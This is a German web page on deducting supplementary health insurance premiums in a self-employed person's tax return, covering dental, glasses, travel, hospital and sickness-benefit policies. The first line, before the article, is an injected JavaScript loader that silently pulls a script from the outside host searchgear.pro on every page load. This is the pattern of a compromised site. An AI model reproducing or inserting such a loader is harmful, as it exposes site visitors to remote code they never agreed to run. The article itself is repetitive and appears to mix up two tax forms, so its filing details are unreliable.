;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Zusatzversicherung in der Steuer absetzen | Krankenkassenwechsel Zusatzversicherung in der Steuer absetzen | Krankenkassenwechsel

Zusatzversicherungen in der Steuer absetzen

 

Zusatzversicherungen in der Steuer absetzenAls Selbständiger können Sie Zusatzversicherungen in der Steuer absetzen. Die wichtigste Voraussetzung für die steuerliche Absetzbarkeit einer Zahnzusatzversicherung, einer Auslandskrankenversicherung oder einer Krankenhauszusatzversicherung ist, dass die Versicherungsbeiträge tatsächlich gezahlt werden. Beachten müssen Sie außerdem, dass der Gesetzgeber für Arbeitnehmer und für Selbständige bestimmte Höchstgrenzen für die Absetzbarkeit vorgegeben hat. Sie beträgt für Selbständige 2.800 Euro im Jahr. Darin sind Beiträge zur gesetzlichen Kranken- und Pflegeversicherung bereits enthalten. In der Praxis heißt das, dass der steuermindernde Effekt von Zusatzkrankenversicherungen überschaubar ist.
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Wie können Selbstständige die Zusatzversicherung geltend machen?

Zusatzkrankenversicherungen sind grundsätzlich auch ohne steuerlichen Effekt sinnvoll. Sie ergänzen den gesetzlichen Versicherungsschutz im Krankheitsfall. Als Selbständiger geben Sie die Beiträge zur Zusatzversicherung in der Anlage „Vorsorgeaufwand“ in der Zeile 30 ein. Beachten Sie, dass sich die Bezeichnung und die Zeile ändern, wenn die Finanzbehörde ein neues Formular herausgibt.

Die Zahnzusatzversicherung absetzen

Mit einer Zahnzusatzversicherung sichern Sie sich Zuschüsse zu Zahnbehandlung, Zahnersatz und Kieferorthopädie. Sie ergänzen die Absicherung durch die gesetzlichen Krankenkassen.
Wenn Sie die Beiträge zur Zahnzusatzversicherung in der Steuer absetzen wollen, müssen Sie sie in der Steuererklärung eintragen. Geben Sie sie in der Anlage „Vorsorgeaufwand“ ein, in Zeile 30 ist dafür Platz vorgesehen. Beachten Sie außerdem, dass Sie maximal 2.800 Euro einschließlich der Beiträge für die Kranken- und Pflegeversicherung absetzen können.

Die Brillenversicherung absetzen

Für Brillenträger kann eine Brillenversicherung sinnvoll sein, wenn Sie die Kostenerstattungen der gesetzlichen Kassen ergänzen wollen. Sofern Sie die Beiträge für diese Zusatzversicherungen in der Steuer absetzen wollen, nutzen Sie dazu das Formular „Vorsorgeaufwand“ und geben Sie die gezahlten Versicherungsprämien in der Zeile 30 ein. Die maximal abzugsfähige Höchstgrenze liegt bei 2.800 Euro. Darin sind die Beiträge zur Kranken- und Pflegepflichtversicherung eingeschlossen.

Die Auslandskrankenversicherung absetzen

Wenn Sie als Selbständiger häufig im Ausland unterwegs sind, ist eine Auslandskrankenversicherung ein sehr wichtiger Schutz. Gerade der medizinisch notwendige Krankenrücktransport wird von den gesetzlichen Krankenkassen kaum noch erstattet. Eine Auslandskrankenversicherung ist deshalb sehr sinnvoll.
Falls Sie die Beiträge für diese Zusatzversicherungen in der Steuer absetzen wollen, brauchen Sie ein Formular für Vorsorgeaufwendungen. Hier gibt es in der Zeile mit der Nummer 30 ein eigenes Feld, in das Sie die Beiträge eintragen. Der maximal abziehbare Betrag liegt für Selbständige bei 2.800 Euro im Jahr. Darin sind auch Beiträge zur Kranken- und Pflegeversicherung enthalten.

Die Reisekrankenversicherung absetzen

Eine Reisekrankenversicherung deckt Kosten ab, die Ihnen bei einer ambulanten, einer stationären oder einer dentalen Behandlung im Krankenhaus entstehen. Solche Kosten sind in der gesetzlichen Krankenkasse kaum erstattungsfähig. Mit einer Reisekrankenversicherung schützen Sie sich, wenn Sie beruflich oder privat häufig im Ausland sind und dort behandelt werden müssen.
Die Beiträge für diese Zusatzversicherungen in der Steuer absetzen können Sie im Rahmen der Höchstgrenzen von 2.800 Euro im Jahr. Diese Grenze gilt nur für Selbständige, und sie umfasst außerdem Beiträge, die Sie für Ihre gesetzliche Kranken- und Pflegeversicherung zahlen. Wenn Sie die gezahlten Prämien in der Anlage AV in der 30. Zeile eintragen, berücksichtigt das Finanzamt den höchsten abziehbaren Betrag. Dadurch sinkt Ihr zu versteuerndes Einkommen.

Die Krankenhauszusatzversicherung absetzen

Die gesetzlichen Krankenkassen zahlen bei einem Aufenthalt im Krankenhaus nur die Kosten für die Unterbringung im Mehrbettzimmer und für die Behandlung durch den Stationsarzt. Wenn Sie weitergehende Leistungen wie die Unterbringung im Ein- oder Zweibettzimmer oder die Behandlung durch einen Chefarzt wünschen, benötigen Sie eine Krankenhauszusatzversicherung. Die Beiträge für diese Zusatzversicherungen in der Steuer absetzen können Sie, sofern der Vertrag läuft und Sie die Beiträge gezahlt haben. Sie können die Versicherungsprämie im AV-Formular unter Punkt 30 eintragen. Das Finanzamt berücksichtigt sie dann, soweit sie die maximale Grenze von 2.800 Euro für Vorsorgeaufwendungen nicht überschreiten.

Die Krankentagegeld absetzen

Selbständige erhalten bei längerer Krankheit keine Lohnfortzahlung eines Arbeitgebers. Mit einem Krankentagegeld schützen Sie sich vor Einkommenseinbußen, wenn Sie längere Zeit arbeitsunfähig sind. Eine Krankentagegeldversicherung sollte spätestens ab dem 21. Tag der Krankschreibung leisten. Im besten Fall schließen Sie einen Vertrag sogar schon mit einer Leistungspflicht ab dem 7. Tag ab.
Falls Sie planen, die Beiträge für diese Zusatzversicherungen in der Steuer absetzen zu wollen, müssen Sie darauf achten, die Sie nur Kosten von maximal 2.800 Euro im Jahr einschließlich der Beiträge für die Kranken- und Pflegeversicherung absetzen dürfen. Tragen Sie dazu die gezahlten Versicherungsprämien in der Anlage AV in der Steuererklärung in der entsprechenden Spalte ein.

Das Vorgehen in Elster online

Die Beiträge für Ihre Krankenzusatzversicherung tragen Sie in der Anlage „AV Vorsorgeaufwand“ in der Zeile 30 ein. Beachten Sie, dass sich die Zeile bei einem neuen Formular ändern kann. Vergessen Sie nicht, neben dem gezahlten Beitrag auch die Bezeichnung der Versicherung anzugeben.

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